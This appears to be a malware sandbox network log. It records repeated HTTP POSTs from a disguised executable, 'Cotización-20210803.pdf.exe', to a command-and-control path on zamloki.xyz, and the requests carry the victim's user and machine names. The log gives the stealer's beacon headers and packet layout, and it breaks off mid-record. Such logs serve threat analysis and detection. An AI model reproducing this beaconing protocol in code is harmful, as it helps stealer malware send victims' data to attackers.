Aug 4, 2021 13:57:16.978487015 CEST	6198	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=skSaKNdWaUBatgCRXe3%2FP%2Bp0rFrnTmox7CoKHcx74nZkgSAUF7GPKbAWoPUcccqxbMZSBH%2Fya4P3tkXlhBE03NeT2ECviHBqp4nXwxpKVbtNSFuxjsbr%2FHChqPVOqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b72799c2c4e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.5	49866	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:17.223494053 CEST	6199	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:17.240674973 CEST	6199	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:17.476685047 CEST	6200	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5DwM6QzE1IDV8HklhL5TLB8oPDHmjb5%2BA3M%2FptStrRk9%2Bl5Yo01DwYxTlbcp3E3xHzzf4KUQNuH%2BElqWMRhG3jz9Vg3%2FDCaU7fxnnv7DqOPWjPTsieCvIb0Qsasr%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b76bb044eb6-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.5	49867	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:17.715692997 CEST	6201	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:17.734177113 CEST	6201	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:18.003648996 CEST	6202	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=M0oF5HGUVihLws19BSmss0axVqxU7cnrPN6%2FjL6P9rK9VwYd%2FZ20oteaLMTi34llQznDsSEQaIsCb%2Ffbnj%2BZo8h1dTAuydw3JPw0ZSsvJOwyIOA9jcIcfMT0Qnm6YA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b79ceb505bb-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49728	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:59.320929050 CEST	1448	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:59.340367079 CEST	1448	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:59.578305960 CEST	1449	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:59 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GCSDc80C5B55DP1QpAPJ9EwWBoK5NkfFYefW6kgDSBZlkgmf6VvIBDJ2xV%2BCoajILGYbSzGeo12L2r%2FRefTR2MVtTcqQh0uxBOxZ47wWUhoJ3a5DXpRnqdV1VSLRsw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6797998fcb43430f-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.5	49868	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:18.222462893 CEST	6202	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:18.241600990 CEST	6203	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:18.493555069 CEST	6203	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kWrXyYe3G0l6tmm%2F%2BdmHPJjmmaAoZC2VU08l%2B9HqMmlYNDw2ntP7ODfUhPldUZ6yhVxOZKi0zB2UA%2BwTIvCOYXqG5vlF4YNSiMZ0VpLtHFrQ5Dgm2x2mrb7lV6MC0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b7cffb40609-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.5	49869	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:18.717029095 CEST	6204	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:18.733921051 CEST	6205	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:18.983365059 CEST	6205	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BBgg3ek9c%2Bxu11hI9GJhPbW28zUqL65ghl%2Bvj2NfWn%2F%2BEnxS8CVSurINHEYpvMrE74DRzGC%2F2%2Bs8ULXQEZKVvtQ4KnWiIHrzB71euKldngbZSvQh15oJgbTC%2FaC%2FdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b800b5005f5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.5	49870	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:20.204842091 CEST	6206	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:20.221901894 CEST	6206	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:20.458329916 CEST	6207	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H4PrdKc%2BeABCc%2Fbl279EKMovegJvGH6urEW6VdpeJF0iwoqb%2FNczHekq5xfKqfpg0V9oLftoPFddlkfMH8gq6N0v%2FwxKmwxza0Jd2BsWCSYBkTdp7gBPsV16Eu89WA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b895d3d4dbe-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49729	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:00.026581049 CEST	1450	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:00.043401957 CEST	1451	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:00.286812067 CEST	1453	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:00 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H4BdZZ%2Bu1jYQZHPShgqy07c1sCJjpJlp9YKNZ53d%2Bz7uiiHFg5AP6WSs2aCTNLpG1xGOF7P%2F60rha0IFdvmM2VRuwIlsRPgAttoUE51Anf8T%2BKG089UB%2B7bMmGK7nw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799943e352c01-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49730	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:01.635390997 CEST	1457	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:01.653836012 CEST	1458	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:01.981302023 CEST	1460	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:01 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6MjelpTeR5ryoIhJRfzjsgcyRAqtTIbpYi2gr6axDmFTMihI8hGyQTKtll9wk7Lsz5mM6mTeK8nrqluuMj4dkGQU5RXD68ovEpP%2BP%2FeWnS3za%2Fb3nKzcrw25vNFhxw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6797999e4c644e0e-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49731	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:02.324686050 CEST	1461	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:02.341677904 CEST	1461	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:02.623756886 CEST	1462	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:02 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=aD80RlN64JGwXvBQ4GY0wrt2Sr74Iyy1DOoITQs6x0wyR4sm70oTXDGhkq7KsPP4wZmTrYfeioNsOqUzqIMzt18JiuqEw8k9QFfzzurhQsITtvne%2B4YUvTNHh1Zxgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799a29b834e8b-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49732	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:02.913959980 CEST	1463	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:02.932147026 CEST	1463	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:03.194773912 CEST	1464	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jfOn7gd5WOmIRnyN8jReFg4mv25MS00ndUBJyi7dsm%2FuIshQpglZvskPSP%2BdSbdE0M6do3ot5TqFW%2BYR3lLFoncPMYG81ytcQGtbRbkRnX6TJ9wGg0gPD95Fz9EkUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799a64a1816ee-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49714	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:51.858208895 CEST	1405	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:51.875483036 CEST	1405	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:52.120248079 CEST	1406	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=E6mqesLJiJkE6ltkXdX9nzFET%2BsatDlRzU13vL%2BYeJKJYKvBiPESQOm%2F3qbKmpSL6ykWl5ZZflR9gr5ghIj4QQA1AGv0Y6rmqP3NKsU0qXmIr3GCUKMDrf7dHlgxSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799612f6105e9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49733	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:03.484245062 CEST	1465	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:03.502290010 CEST	1465	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:03.747203112 CEST	1466	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kebTKIo48lTIhHMnwRpjkXkRGQuRVQnh94OFopDQZqZyCiMf0ThuAVmfTUghUxUkAuc3w%2BN%2FT8Ms9p0FPC11sCTAs7Vzat4Wy6KF8ieTYGQpEy8ihWF53C6eZYt%2Bkw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799a9de48c29a-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49734	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:04.061125040 CEST	1467	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:04.078149080 CEST	1467	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:04.329885006 CEST	1468	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=T3Uph%2B0lC%2FzocVHf6h8fc2bVL19mGk%2BdepcJB8yU7S75JcDq6x%2BJsExozGrGsZSyBNJCHqvL0ZoIUjaOlkN5S59wohNPnEoeluBSuRFHWmyz0YBC38zCDe%2FkTTr7Cg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799ad6a4cc2e5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49735	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:04.652287960 CEST	1468	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:04.670726061 CEST	1469	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:04.922898054 CEST	1469	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:04 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FWcCvHoL1YI7eFrwoy37s9mEu0SCqHM0ilzlRr0xgGSFpULBkCdMT66TpXsRZmBBT6rYjtzODLI3baz69Y9iEefAtceU1haxXDuN5GN2z4LKR%2B7%2Fl3X9fJRjgxppqA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 679799b12f3c2c42-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49736	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
